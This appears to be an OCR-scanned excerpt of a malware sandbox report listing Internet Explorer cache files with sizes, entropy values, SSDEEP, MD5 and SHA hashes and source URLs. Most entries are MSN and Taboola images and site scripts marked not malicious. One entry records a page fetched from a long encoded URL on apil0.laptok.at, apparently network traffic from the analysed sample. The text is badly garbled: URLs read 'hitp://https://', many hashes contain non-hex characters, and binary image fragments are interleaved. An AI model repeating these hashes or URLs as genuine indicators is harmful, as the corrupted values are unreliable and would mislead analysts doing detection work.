~].AQ.i@.V.0.K.D..ALQQ..H..U.Y.B\..$zp.I$..uV.2." .F.".0.m.."....a.*i..B/.H.
8o ) Qul b Ho A 3 VK UB2 X WP..)......... AO.4.@.".T.A

tuvwxyz
2.K.h..8..v..8..8.{B.&.<..PI%2.*y.A }.c. .dH..pX'~.Z
@..RL.)A...qO.E74f... f.h... x> T$..

...2.0.1Q.L..qc.*h
J...gy|..bh...c.c...

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1cYSRo[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

10957

7.913051624096272

false

192:BYd7H6mM+EUI95tG/u6cWiJRTNFvUvgAID4J2070sYiHN8ONU+:eZ69ID0/u69iDpKvgRZ7ZYitINP
45C5B100E382C36EFC328277B14CB329

81C237DDFDA55D56494C7AA133B2BBD9519F31B4
7A3294694FBFE7B6CCA6EB69452C395508795CABFA6B689C3426E7EC2D686A3C

EA063A96705425E1DDB40B79543FB69B90AA2C00DB689946A692DC8C3E28726E8E4AE62C3A04FDDC5ACED49D4595A7052DCF31AAE8F280A0ED287B6B3E92F!
D1

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1cYSRo[1].jpg

|IE Cache URL:

Preview:

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cY SRo.img?h=333&w=311&m=6&q=60&u=t&o=t&|=f&f=jpg

...... JFIF......., . .
000000000000000000 7. 1A..Qa."q.2... #B...R..$3br....... %&'()*456789:CDEFGHIJSTUVWXYZcdefgh
ijstuvwxyz 11..AQ.aq."2...B.... #3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXY

Zcdefghijstuvwxyz. ....sKE.74f..LP.sFi.....
<t..f.s5{.b.2z..z..psQLs....]C.p.K.C.j...<... .9.P......9.ZFu.TU.g..Rc....B....N..4...@F..T\....G.L@O. ..=.
AF)SE.&(-...Q..3@..I.N.....f....(..R.SY...h...1>V.n... W,

f.1@...m.m.7.).iv..(..P.9..m.3..c.l....y.....nG.1.qO.
(VP L. 7.0(.2Z233@ KI.3@.E....ZJZ.1F(..h

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1cYUGz[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 310x166, frames 3
downloaded

6741

7.913847617142339

false

192:BFvzOJEycwh797Ue+hlOXIZRz5Vw3cuPKrg:vvziEycwme+2UEy3c8K2

F188D886348F0B2B727A2681B4AFFE27

3D4DDD2046FC28AA98498C2613B14B5394620F76
A191A7356C640B3CA46659487480C491B619BACEAOC71E02E001A1613E064A8C

D4EA2A8431190F7B9FCDCA9C056C00F97461730AD28859A34384A6197E02C15E8DESF6A54A7125C655E5DA1AB463EDIEC3A549F9A49E4FCFC291A0EEDC3B54
2

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYUGz.img?h=166&w=310&m=6&q=60&u=t&o=t&I=f&f=jpg

tUVWXYZ....
L0 Hv>,
.9..0.y...n.0..\1..>..9.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1cYZKXx[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

24997

7.750132374896835

false

768:7R9/IKRLbbeP/sRScHoVrFré0cjufPIES): 7+KRAfOOCCIX

9FE9711BA47B95038F3B7FA80245DA6E

77748EDEC500A0E14E38E5B60495822C2EB597F7
E56A350AC74AB53F65AE833BD9B048649BD2AA0073ACD5F040DA47CE3F359073
79D52338DB8D399536C3E6E7F851E9F424B514B3846F45A440FD32000B46D477685E06134FB714C96B4CBDF84DAEA226BD709CB662835300E84B99CDOED63A5!
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cY ZKx.img?h=368&w=622&m=6&q=60&u=t&o=t&I=f&f=jpg&x=1626&y=1598

...... JFIF.... 0 Criiis e )100)-,3:3>36F7,-@WAFLNRSR2>ZazP  JQRO...C.......&..&05-500000000000000000000000000000000
0000000000000 000OO0 ... PN ittt § — 11A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
cvereee W 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
2.1 KzV(...d...yR.= jB.a.C....ki..'<..\..J..7..i.).Y........qK,.).*;..]q.;GN.v8.5..0. X (#..Tj
2.R(#\...49...... M.$..v..,....}.J%_G...M$.c.....S..9}..4.2...|.u-.7.0...Q....0..>.=83"....&..80...i. ... tK@.Cq..?x... T.h..Z"1...*Z@3....D..~....0..S.h...F..Y...KiQ

"L MKp?r.tX...> ..Z.R'zR’z..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1cZagv[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

25178

7.9603073003594425

false

768:7bLo6U+VY6BBXLTh/NfXwD+CrZvWysSs2SsOc4RpS:7Px1PBBX/FiSiV1I0sOc4RpS
BF8B92C3E93FDCD97B06585F96EBSECA

EA34B2A06EB14595432FC6CC04951E6935DFEB51
4B511A82EC87CD99B459EDC2720E4C49D69211E70D51FA89D0A623FOEB522044
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SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 1 x 1

downloaded

43

3.122191481864228

false

3:CUTxIs/1h/:7IU/

F8614595FBA50D96389708A4135776E4
D456164972B508172CEE9D1CC06D1EA35CA15C21
7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0A25D5D
299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CEOEC093ECEADO37083FA40A075819D2
false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3

Category: downloaded

Size (bytes): 11083

Entropy (8bit):  7.946609507325561

Encrypted: false

SSDEEP: 192:/8eugb04RTVrkOwsmJgVSWYdXRrHKHnyGM8quczIDIxjXQzALLmMC8:/8eJbXRTW0zCgYdXRrHKHnyG8uLHjLd8

MD5: 2FDC52F71185A2062B4CF1A6ADECB819

SHA1L: 3F2C79D4A1E83AF373BA45E8A3F74B37F992E4D9

SHA-256: B24277AC65AB8C12512B6F40A5F06FDA33A723889C8EBAFEA8BE47416650FDB93

SHA-512: F87D7BCACCC379A22784D5BC7B4021DA91E8D256BD133A355A5DE87F22C1863570625C8CFA621B48131771F6B7992B4B068987CD9ES88A31B8D28425723E766!

Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F0eae2fe61e6ffcfcfe353bd536€5886d.jpg
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WYX

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\http___cdn.taboola.com_libtrc_static_thumbnails GETTY_IMAGES _|
BK_606910635__VgZNjsRU[1].jpg
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Size (bytes):

Entropy (8bit):

Encrypted:
Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
downloaded

8977

7.947479110101718

false
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MD5:
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SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

192:6WrMcvUSzHVTwhK1b1vf9ZZXIZ/IXFYMWUsSH/WEQfkNGEy4Yr:6HcvTzsKd19/XI9l]3WEVGEy4q
C4931E6BBCB5E90ESEC143703BD2F152

E4125F6F6032BDD229222C7C906EE1DCF8EAFE48
F559E194A2F4A3AABF0882D74E5B3B253065FF4C40CC029D11A0F1157382BA2F

76A79AE3BCEC3F764AFB31020819CF464F4531416D11BC60CB406CC996985E23D7416A29C8398D5CEA7770B20EBFF673E97DC3FBDCOFID94EEDF22EOE780EL
1

false

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2FGETTY_IMAGES%2FIBK%2F606910635__VqZNjsRU.jpg
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\otSDKStub[1].js
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Encrypted:
SSDEEP:
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SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

12814

5.302802185296012

false

192:pQp/Oc/tyWocJgjgh7kjj3Uz5BpHfkmZgWov:+RbJgjjjaXHfkmvov
EACEA3C30F1EDAD40E3653FD20EC3053
3B4B08F838365110B74350EBC1BEE69712209A3B
58B01E9997EA3202D807141C4C682BCCC2063379D42414A9EBCCA0545DC97918
6E30018933A65EE19E0C5479A76053DE91ESCI05DAB00DFA7DODB2475C9766B632F91DESCCIBD6BIOC2FBCA861B50879811EE43D465E5C5434943586B1CCA7F
false

hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/scripttemplates/otSDKStub.js

var OneTrustStub=function(t){"use strict";var I=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtm|GroupData=[],this.optanonHostData=[],this
.IABCookieValue="" this.oneTrustlABCookieName="eupubconsent",this.oneTrustlsIABCrossConsentEnableParam="islABGlobal"this.isStubReady=!0,this.geolocat
ionCookiesParam="geolocation",this. EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","P
T""RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this. DATAFILEATTRIBUTE="data-domain-script" this.bannerScriptName=
"otBannerSdk.js",this.mobileOnlineURL=[] this.isMigratedURL=!1,this.migratedCCTID="[[OlIdCCTID]]",this.migratedDomainld="[[NewDomainld]]",this.userLocation={coun
try:"",state:""}},e=(i.prototype.initConsentSDK=function(){this.initCustomEventPolyfill(),this.ensureHtmIGroupDatalnitialised(),this.update GtmMacros() . this.fetchBannerSDK
Dependency()},i.prototype.fetchBannerSDKDependency=function(

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\twu[1].htm
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File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

340060

5.9999220463029195

false

6144:Y3VnRuDf75mL7ri+HuhvZAA95EmMIIN4sZv54hNQnfajoxuKO1kKtJYLhyEA+ogb8:aqf75mnel8ZzkgPZvOhNQfEIKO1ttcbU
CFE4530391ED2878F814492182E7A9E5

DB44AAE137B31FB37EO0DAB2D641FCIB8FE54DD6E

B6A7B6CC6C3137B40680E5B2F869B2AD540D2A199638D4F759DF3BF0627B7E72
34D083FAF8C665A522E3A9A45CIAL3EDI75A36D7C25C2F7162F65821637913C01F16COF699FF8145FA2AD7A26C41ABI1C37FEC86D2FA9860729ACD39EEBE3SA
false

http:/f
apil0.laptok.at/apil/8t0bR6VsCGA/ZdsVj6T4k_2FoN/BLdu_2BpSFXgKfcNrQmOV/evOhudV9ITNV8_2B/N1NUzrdZB3VXtwr/czINvgLVNHAQL34hBx/_2F4Uw8ch/IO8_2BdQ

ScLQi_2B7dkM/YBU5VEgT5kIQ01W1Rxk/oP4yl983nfNNLWOOFdmkwO/SIY ApRJIYCfISI/FISplwFu/11p6fGFUOCz_2F0ouRmTqJI/Ip2cYIM8B8/Yut84Zr03wWkVJIBHW/ 2
Bs4q032l05/cXLpMBT20ue/wmMCkODoOCwkFa/R5_2BwVrdhg4SycoUpM1g/WdY_2FMtLacKdQm6/_2B87YclJ9Jv74j/B_2BPGCFKoDrv4QA/twu

hWKSbi61cG55W3b6L2welZH2PvWsKx8XigsM2mNYdS8Vo+FSSE4LFwnu55G80+MDCGolCcFW3VNasrMsGH8h+61xIWXgcnuRJYomse+KdGj31+PJau3oGhalL
JIRYCFAYVT1plc45ylY4+u6jT5fhU0Y8TsN2WOBmMXLWISNEArwCL1UTFtSmMAXGBru4c4Kox94EoXzaihJGgKtCI9XIdKbV5k6kWMmM3EpSMC4xrD82xx0ewmaDGocclEjYe
sdJ6NqUz3zsuRE7cy35j3AXzZq6cbKcsBbfbUTpHXy2CBVp9Bo+9FPwWF20j6aATB2QvdAUTVNVOLWEdFXxu8x+dGDtYn371978aUnEVPrCSy5RL+YD/cVm/t6gQSKxjFGrV
runf/74Zu3h5CjDu3WxjkWtetZAlU+4UCb3ecM18rtBgL8cVZcUHNnTaRxySpRSaFfU+tCuYHZ40FCblGev5Vzakl6S/n5ScljMxXjisQ+aRXuYuY8plrZa+fyadwrlvg3
xV5S5Fiy7AzVjjluBkom3ws0j9kX7qeE1l+HHacOqvlL+/+kF7pO8daPR4pBuAAc7INSgKp2IDIzh58S1x3D5Kfo4015UUxXZLk7g0jTD7Xv7rUJgjsQ1xW9/DLH7NcjOVD
9INoXPWr+CaaOQbY37tYsTq3ZoX6wHQPjGf51kyn81DtsXxTI5SwB6PWYVnOH9yoadbY6JgZobVAH35YztVb2ExaWDmGLed30hq8SmSFzg2uO0dR0e52Z\WGrs
3Djd1g4zA1K9SE4AFSONGi7z1q/GXoXzf+urEYyq6Ke6VDWFqgB+iD0JOUKTzbKkRzCwIGEZzqNLt1RrOap0TAOhMQQHTp2//ImWOs0A2bShjb8tyRIMN+6WnW
dIh4zXG9H67seR86c3mzwxvVIKP+CfaAwuk5T6zecrUFa87b9TKwkjuWClwYAMCI83F3xLDXZxhgJACB9ZuzPEpDVKC11x21UleNTcoeBRVQobokOFE+ay2/

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachel\lE\90261KNJ\41-Obee62-68ddb2ab[1].js

Process:
File Type:
Category:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with very long lines, with no line terminators

dropped
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

1238

5.066474690445609

false
24:HWwAaHZRRIYfOeXPmMHUKg6GGiqllQCQ6cQflgKioUInJagzrQJ:HWwAabuYfO8HTqOxB6XfyNoUiJaD
7ADA9104CCDE3FDFB92233C8D389C582

4E5BA29703A7329EC3B63192DE30451272348E0D
F2945E416DDD2A188D0E64D44332F349B56C49AC13036B0B4FCI46A2EBF87D99

2967FBCE4E1C6A69058FDE4C3DC2E269557F7FAD71146F3CCD6FC9085A439B7D067D5D1F8BD2C7EC9124B7E760FBC7F25F30DF21F9B3F61D1443EC3C214E3F
F

false

define("meOffice",["jquery","jqBehavior","mediator","refreshModules","headData","webStorage","window"],function(n,t,i,r,u,f,e){function o(t,0){function v(n){var r=e.local
Storage,i,t,u;if(r&&r.deferLoadedltems)for(i=r.deferLoadedltems.split(","),t=0,u=i.length;t<u;t++)if (i[t] &&i[t].indexOf(n)!==-1){f.removeltem(i[t]);break}}function a(){var i=t.find
("section li time");i.each(function(){var t=new Date(n(this).attr("datetime"));t&&n(this).html(t.toLocaleString())})}unction p(){c=t.find("[data-module-id]").eq(0);c.length&&(h=c.
data("moduleld"),h&&(I="moduleRefreshed-"+h,i.sub(l,a)))}function y(){i.unsub(o.eventName,y);r(s).done(function(){a();p()})}var s,c,h,l;return u.signedin||(t.hasClass("of
fice")?v("meOffice"):t.hasClass("onenote")&&v("meOneNote")),{setup:function(){s=t.find("[data-module-deferred-hover], [data-module-deferred]").not("[data-sso-de
pendent]");s.length&&s.data("module-deferred-hover")&&s.html("<p class="meloading><\V/p>");i.sub(o.eventName,y)},teardown:function(){h&&i.un

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\90261KNJ\58-acd805-185735b[1].css
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File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines

dropped

248290

5.29706319907182

false
3072:jaBMUzTAHEKmM80UdvUvbZkrlP6pjJ4tQH:ja+UzTAHLOUdvUZkrlIP6pjl4tQH
3BA653386966EC654F176EAC2283E44A
6F722BB5946F28298FDBCB559D1590871AA817F3
99912374675266F0431853D948ABF2114E6B2351EB877D0675301D35DA58142C

820AA173D884967ECB0631ADBBE41425132BAC3E0D422B5CC1BFOFCDDCA39673361372FAASDFD168331ADSE32F32D64D290AD87DC8F35525CD931525E76AAF
8

false

@charset "UTF-8";div.adcontainer iframe[width="1'}{display:none}span.nativead{font-weight:600;font-size:1.1rem;line-height:1.364}div:not(.ip) span.nativead{color:#333}.to
daymodule .smalla span.nativead,.todaystripe .smalla span.nativead{bottom:2rem;display:block;position:absolute}.todaymodule .smalla a.nativead .title,.todaystripe .smalla
a.nativead .title{max-height:4.7rem}.todaymodule .smalla a.nativead .caption,.todaystripe .smalla a.nativead .caption{padding:0;position:relative;margin-left:11.2rem}.to
daymodule .mediuma span.nativead,.todaystripe .mediuma span.nativead{bottom:1.3rem}.ip a.nativead span:not(.title):not(.adslabel),.mip a.nativead span:not(_titl
e):not(.adslabel){display:block;vertical-align:top;color:#a0a0a0}.ip a.nativead .caption span.nativead,.mip a.nativead .caption span.nativead{display:block;margin:.9rem 0
.1lrem}.ip a.nativead .caption span.sourcename,.mip a.nativead .caption span.sourcename{margin:.5rem 0 .1rem;max-width:100%}.todaymodule.mediuminfopanehero .ip_

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\90261KNJ\85-0f8009-68ddb2ab[1].js
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File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

391413

5.324500984847764

false
6144:Rrfl3K/R9Sg/1xeUgkhmnid3WSqljHSjaXiN4gxO0Dvq4FcG6Ix2K:d0/Rmznid3WSqljHdMftHcGB3
CA9F525C6154EF6AFF6C6FFODOB07779

45F00ABA2CCIOF7A1C6BF8691BEDOAEB27F2590B9
6F9FA21C6054E989A07CFCAAAE340FBE344BEE9SBFB2DCE3CF616AF1FB4BABSB

621B53C05B4D6858EAAG22378689BF68CCA63B03805DE62C3AAAS510D6EACE94CABO5C30738AA8BF530FCCOFD72745127F40F95FC6ADCEAT7038A26589EC926F
7

false

var awa,behaviorKey,Perf,globalLeft, Gemini, Telemetry,utils,data, MSANTracker,deferredCanary,g_ashsC,g_hsSetup,canary;window._perfMarker&&window._perfMa
rker("TimeToJsBundleExecutionStart");define("jgBehavior",["jquery","viewport"],function(n){return function(t,i,r){function u(n){var t=n.length;return t>1?function(){for(var
i=0;i<t;i++)n[i]()}:t?n[0]:ffunction f(){}if(typeof t'="function")throw"Behavior constructor must be a function";if(i&&typeof i'="object")throw"Defaults must be an object or nu
II";if(r&&typeof r'="object")throw"Exclude must be an object or null*;return r=r||{},function(f,e,0){function c(n){n&&(typeof n.setup=="function"&&l.push(n.setup),typeof
n.teardown=="function"&&a.push(n.teardown),typeof n.update=="function"&&v.push(n.update))}var h;if(o&&typeof o!="object")throw"Options must be an object or null";var

s=n.extend(!0,{},i,0),I=[],a=[],v=[],y=!0;if(r.query){if(typeof f!="string")throw"Selector must be a string";c(t(f,s))}else h=n(f,e),r.each?c(t(h,s)):(y=h.length>0,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\9026IKNJ\AAuTnto[1].png
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File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
downloaded

801

7.591962750491311

false

24:U/6yrupdmd6hHb/XvxQfxnSc9gjo2EX9TMOH:U/6yruzFDX60DBY+m
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MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

BB8DFFDESEDSC13A132E4BD04827F90B

F86D85A9866664FC1B355F2EC5D6FCB54404663A

D2AAD0826D78F031D528725FDFC71C1DBAA21B7E3CCEEAA4E7EEFATAAOA04B26
7TF2836EA8699B4AFC267E85A5889FB449B4C629979807F8CBADODDED7413D4CD1DBD3F31D972609C6CF7F74AF86A8F8DDFE10A6C4C1B1054222250597930558

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAuTnto.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png
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|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

481

7.341841105602676

false

12:6v/78/SouuNGQ/kdAWpS6qIIV2DKfSIIRje9nYwJ8c:3AIOK69YY8c
6E85180311FD165C59950B5D315FF87B
F7E1549B62FCAB8609000B0C9624037A792C1B13F
49672686D212AC0A36CA3BF5A13FBAGC665D8BACF7908F18BB7E7402150D7FF5
E355094ECEDD6EEC4DA7BDB5C7A06251B4542D03C441E053675B56F93CB02FAESEB4D1152836379479402FC2654E6AA215CF8C54C186BA4A5124C2662199858

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlardZ3.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1cXR6f[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

21837

7.9219435983208895

false

384:7LKINEmMzVTHN8U9fK/zuUB7M1KE3ikn14zd25s+15aigV7NERXx/ISOFN36UA: 7ylzViU9guUBgPr14zd259Yig4RflIbK
E643DA5A99BIED40C7CE6153475E061F

8AE0594E8E35BEC48AFD177C8D3C7FB55EC045AD
EAE5008E30585D22975122207B7B1F6A69BFDOBB4834EOESEDO17ECAC8513414

057EC4439E47273CEAO6FEEF8A33EFB1DSEA7A4F42DA7C3FC40A0EC3E94AGA88DD5851CFF1904024B858A8633BA0CAFF474697BA0467F62F9C2A4AD6E25714
9

false
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

9668

7.928816532884782

false

192:xYH3anWM7INWkY4b/9zBLE/P+/1SO+ow4VYXbuCYvb:OHz8IWu/GSqYvb

7F7290FESE4E7B48A0D1EEF8591FBB3D

FB855896FAFE3012EE9F593960D5CA99BC682FD6
788E1F4FCC7B46B8339F65D8877AF1099A3FEBB40096F10D1EEEB13F1D57904D
281C367776DF6902F478EBAF32F4F87A043603D0A8F9981719D4058 ACE90C60F175159820C565B159215B07CBIDCD51E45A5EB07677717E9214A6B1D73D68C72
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cY3NL.img?h=333&w=311&m=6&q=60&u=t&o=t&|=f&f=jpg
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 200x200, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

13512

7.908140225288658

false

192:xYyEs5q5sKa2cVRG/QIEOUTTS3kYi8UMxx4DERaQ174NpgXwWH/xkmM8Gg3YKpy:OypAn346j3KioxQERXTTfeN8HI1
CF7D453A41A16DFEF30B3100EC14778B

953259E27C54320B74B682010B1C5E7A2DA65392
2253D54C53D46988543D321865D12AC30558381C9EF5ED760C4DBB3EFA4EDEL4

5AD4COFEC8D1148F5F4C81DB0OB16EA89D17E28A00A32981E19A281FCC26A483495B00C2A9C39370EF900AA058306431C5652A8DD1BCDD2CA4C68FBD72293F9
9

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYP7S.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

6706

7.919439291839842

false

96:BGAaEEIICVRR+WjumkSdC3gMEFeuBJEATKhT7D9pGJFWzQur3kaYajgynRT:BCEigBjumkN6MCR5EZ7D4eQurPtWa
4684D92FCCD90FF36072D60789B5CA8C

98D0B297869E875866C7178479EB663E3C1D298E
5D20A69D1D82FF9E6828FBC43A3417F247A6EDAF5234013DOEA368AAC02B479D

DA4EE2AA92D8367D8852BA5240989326CC3A0186038EDFDB3ESE4B0580CBIDBEF4D0C66F22E255D761D486A8E33A6B39D220C023D39BE32FA17AC674BF1B64
A5

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYjaY.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg

..Ei.c.....Q)P9....0..7D..E....F..\.1}.K.
A4>TT.aMC+|.q.(\?.&.. ._..........es....0.

tuvwxyz
.2<m.R..Mm.a. n..u.q.zM..9Yn1.v..
.%.U5dU....*..t..R.Q.i...5yIH.%b....... qV...b.sX.Y....

Ltt4lr..qT.\ 5.1V.qT.0.b.IP.*....358B@.5.P...V..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1cZ1Ru[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

16111

7.87456843900809

false

384:7boVBF0735SKVKkYskeZV8vsvujjzgiKF54gNW5wfaKm9:7bz7p2Yfe40FwSr

67767883B13CED42ACB96ECCF4D77929

1E17A7AC9688EB08C72847C2403EE7813431F94C
A7B0500926E7983E3FCA6D7767F463DCEOBOEFEC4433C4C1ABLC263F8CAA7480

91308CC28D40AFAFD8FBADDCOC50F80FE0750FAOF8682928D24C9BD549DEIACD117EO0DSAE22A066131B21402AC4628F89D9FAODOAAB4FGD1E08256F7C92B3E
7

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZ1Ru.img?h=368&w=622&m=6&q=60&u=t&o=t&I=f&f=jpg&x=462&y=461
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

19054

7.922785336965222

false
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3C7C2426BE7A614CE783AD2E8D5DC87300280FA17D66FBB6BA86FADDCB30238A49A84BD40F3BEBD26ACC5845DCBBE06B024D6883431BB745E71D00320A403
82

false

